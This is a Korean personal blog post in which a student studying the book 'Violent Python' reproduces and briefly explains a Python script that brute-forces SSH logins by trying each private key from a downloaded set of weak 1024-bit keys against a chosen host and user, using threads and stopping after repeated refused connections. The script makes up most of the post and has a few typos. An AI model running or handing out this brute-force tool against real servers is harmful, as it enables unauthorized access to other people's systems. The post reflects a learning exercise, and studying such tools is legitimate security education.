(만약 본 게시글이 저작권 법에 위촉된다면 바로 삭제 하겠습니다.)
오늘은 카페가서 공부하고 자소서좀 끄적 거릴려고 했는데
카페에 점점 사람이 많아지더니 페이지 접속도 안될정도로 와이파이가 느려지더군요...그래서 빨리나와 집에서 편하게 하고있습니다.ㅋㅋㅋ
일단 생각해봤는데
아직 전 고3이고 입시도 안끝난 상태니
자소서 및 최저등급 공부를 위해서 치명적 파이썬 책 1강까지 끝나면 잠시 접어둘려고 합니다.
오늘은 무어님이 만드신 1024 비트 키를 다운받아 개인 키를 이용한 SSH 무차별 대입공격을 다룰려고 합니다.
소스코드는 이렇습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | import pexpect import optparse import os from threading import * maxConnections = 5 connection_lock = BoundedSemaphore(value = maxConnections) Stop = False Fails = 0 def connect(user, host, keyfile, release): global Stop global Fails try: perm_denied = 'Permission denied' ssh_newkey = 'Are you sure you want to continue' conn_closed = 'Connection closed by remote host' opt = ' -o PasswordAuthentication = no' connStr = 'ssh ' + user +\ '@' +host + ' -i ' + keyfile + opt child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, perm_denied, \ ssh_newkey,conn_closed, '$', '#',]) if ret == 2: print '[-] Adding Host to ~/.ssh/known_hosts' child.sendline('yes') connect(user, host, keyfile, False) elif ret == 3: print '[-] Connection Closed By Remote Host' Fails += 1 elif ret > 3: print '[+] Success. ' + str(keyfile) Stop = True finally: if release: connection_lock.release() def main(): parser = optparse.OptionParser('usage % prog - H' +\ '<target host> -u <user> -d <dictionary>') parser.add_option('-H', dest = 'tgtHost', type = 'string',\ help = 'specify target host') parser.add_option('-u', dest='user', type = 'string',\ help = 'specify user') parser.add_option('-d',dest= 'passDir',type = 'string',\ help = 'specify dictionary') (options, args) = parser.parse_args() host = options.tgtHost user = options.user passDir = options.passDir if host == None or user == None or passDir == None: print parser.usage exit(0) for filename in os.listdir(passDir): if stop: print '[*] Exiting: Key Found' exit(0) if Falis > 5: print '[i] Exiting: '+\ 'Too Many Connections Closed By Remote Host' print '[!] Adjust number of simultaneous threads.' exit(0) connection_lock,acquire() fullpath = os.path.join(passDir, filename) print '[-] Testing keyfile ' + str(fullpath) t = Thread(target=connect, \ args=(user, host, fullpath, True)) child = t.start() if __name__ == '__main__': main() |
크 역시 다운받은 예제 코드로 보고 적으니 오타난 오류빼고는 오류가 안나네요ㅋㅋㅋㅋ
뭔가 실제 작동하는 코드는 별로 없는데 오류 나는거 알려주는 코드때문에 저렇게 긴거 같네요.....
뭐 더 설명할건 없을거 같으니 오늘은 여기서 마치도록하겠습니다ㅋㅋ
뭐 일단 -H으로 host정해주고 -u로 user정해주고
-d로 1024 비트 키 정해주고
for filename in os.listdir(passDir):
여기서 passDir은 지정해준 1024비트 키이며
os.lstdir은 passdir을 리스트로 반환시켜줍니다.
그걸 for문으로 돌려서 무차별 대입시켜주는거죠.
저번과 동일하게 5번정도 계속 연결 실패하고 그러면 연결할려는 서버쪽에서 차단했을 가능성이 높으니
그만하도록 되있습니다.
뭐 더 말할것도 없으니 오늘은 여기서 마치도록하겠습니다ㅋㅋㅋ
'파이썬' 카테고리의 다른 글
해커의 언어, 치명적 파이썬 FTP_WebInjection (0) | 2017.08.22 |
---|---|
해커의언어, 치명적 파이썬 BotNet (0) | 2017.08.20 |
해커의 언어, 치명적 파이썬 sshBrute (0) | 2017.08.18 |
오류 고침 (0) | 2017.08.18 |
해커의 언어, 치명적 파이썬 Portscan_nmap 과 ssh접속 (0) | 2017.08.17 |